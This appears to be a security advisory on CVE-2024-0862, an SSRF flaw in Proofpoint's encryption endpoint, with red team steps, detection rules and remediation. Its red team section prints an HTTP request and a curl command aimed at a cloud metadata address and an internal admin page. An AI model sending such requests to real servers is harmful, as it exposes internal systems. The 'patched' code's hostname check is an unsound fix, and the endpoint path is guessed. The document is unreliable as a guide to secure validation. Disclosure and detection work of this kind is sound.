CVE-2024-0862

Executive Summary

CVE-2024-0862 is a Server-Side Request Forgery (SSRF) vulnerability in the Proofpoint Encryption endpoint of Proofpoint Enterprise Protection. An authenticated user can exploit this flaw to relay HTTP requests from the Protection server to otherwise private network addresses. This could allow an attacker to scan internal networks, access internal services, or exfiltrate data from behind the firewall. The vulnerability has a CVSS score of 5.0 (Medium) and an EPSS score of 0.0%, indicating low exploitation probability at this time. No public proof-of-concept or exploit code is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited information disclosure
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is Medium due to the requirement for authentication and the limited impact on confidentiality. However, the SSRF can be leveraged for internal network reconnaissance and potential lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the Proofpoint Encryption endpoint, which is designed to encrypt and relay emails. The endpoint does not properly validate or restrict the URLs that authenticated users can request. An attacker can craft a request that causes the server to make an HTTP request to an internal IP address (e.g., 10.0.0.1, 192.168.1.1) or a private service (e.g., internal web applications, cloud metadata endpoints).

Attack Flow:

1. An authenticated user sends a specially crafted request to the Proofpoint Encryption endpoint.
2. The server processes the request and initiates an HTTP connection to the attacker-specified URL.
3. The server relays the response back to the attacker, potentially exposing internal network information.

This SSRF can be used to:

• Scan internal network ranges.
• Access internal services (e.g., databases, admin panels).
• Retrieve cloud instance metadata (e.g., AWS, GCP, Azure).
• Bypass firewall restrictions.

Vulnerable vs. Patched Code

No specific code snippets are available for this CVE. However, the vulnerability is typical of SSRF flaws where user input is used to construct a URL without proper validation.

Vulnerable Code Pattern (Conceptual):

# Vulnerable: user input directly used in request
def handle_encryption_request(user_url):
    response = requests.get(user_url)
    return response.text

Patched Code Pattern (Conceptual):

# Patched: validate and restrict URLs
def handle_encryption_request(user_url):
    parsed = urlparse(user_url)
    if parsed.hostname in PRIVATE_IP_RANGES:
        raise ValueError("URL not allowed")
    response = requests.get(user_url)
    return response.text

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Proofpoint Enterprise Protection instance with an authenticated user account.
• Knowledge of internal network ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /encrypt or similar).
2. Craft a request with a target internal URL:

   POST /encrypt HTTP/1.1
   Host: proofpoint.example.com
   Authorization: Bearer <token>
   Content-Type: application/json
   
   {"url": "http://169.254.169.254/latest/meta-data/"}
   

3. Observe the response for internal data.

Example using curl:

curl -X POST https://proofpoint.example.com/encrypt \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin"}'

Blue Team

Detection:

• Monitor for outbound HTTP requests from the Proofpoint server to private IP ranges.
• Alert on unusual patterns in the encryption endpoint logs.

Hunting:

• Search for requests containing private IP addresses in the url parameter.
• Correlate with authentication logs to identify the user.

Mitigation:

• Implement strict URL validation and allowlisting.
• Block outbound requests to private IP ranges from the application server.
• Apply network segmentation to limit the impact of SSRF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Proofpoint server to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254).
• Log IOCs:
  • Unusual url parameters in encryption endpoint logs.
  • Repeated requests to internal IP addresses from a single authenticated user.

Detection Engineering

YARA Rule

rule CVE_2024_0862_SSRF_Proofpoint {
    meta:
        description = "Detects SSRF attempts targeting private IPs in Proofpoint Encryption endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0862"
    strings:
        $private_ip1 = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3})/
        $private_ip2 = /(172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/
        $private_ip3 = /(192\.168\.\d{1,3}\.\d{1,3})/
        $metadata_ip = /169\.254\.169\.254/
        $url_param = /"url"\s*:\s*"http/
    condition:
        any of ($private_ip*) or $metadata_ip and $url_param
}

Sigma Rule

title: CVE-2024-0862 SSRF Attempt on Proofpoint Encryption Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to private IP addresses from Proofpoint Encryption endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0862
logsource:
    category: webserver
    product: proofpoint
detection:
    selection:
        cs-uri-query|contains:
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
            - "169.254.169.254"
    condition: selection
falsepositives:
    - Legitimate internal requests if allowed
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0862 SSRF Attempt to Private IP"; flow:to_server; content:"url"; http_client_body; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply vendor patches as soon as they become available.
2. Restrict outbound HTTP requests from the Proofpoint server to only allowlisted external URLs.
3. Implement network segmentation to prevent the server from accessing internal resources.
4. Monitor logs for SSRF attempts and block suspicious IPs.

Long-term Fixes:

• Input validation: Ensure all user-supplied URLs are validated against an allowlist.
• Use a URL parser to extract and verify the hostname before making requests.
• Disable unnecessary features that allow user-controlled URLs.

Workarounds:

• If patching is not possible, consider disabling the vulnerable endpoint or restricting access to authenticated users only.

Valters IT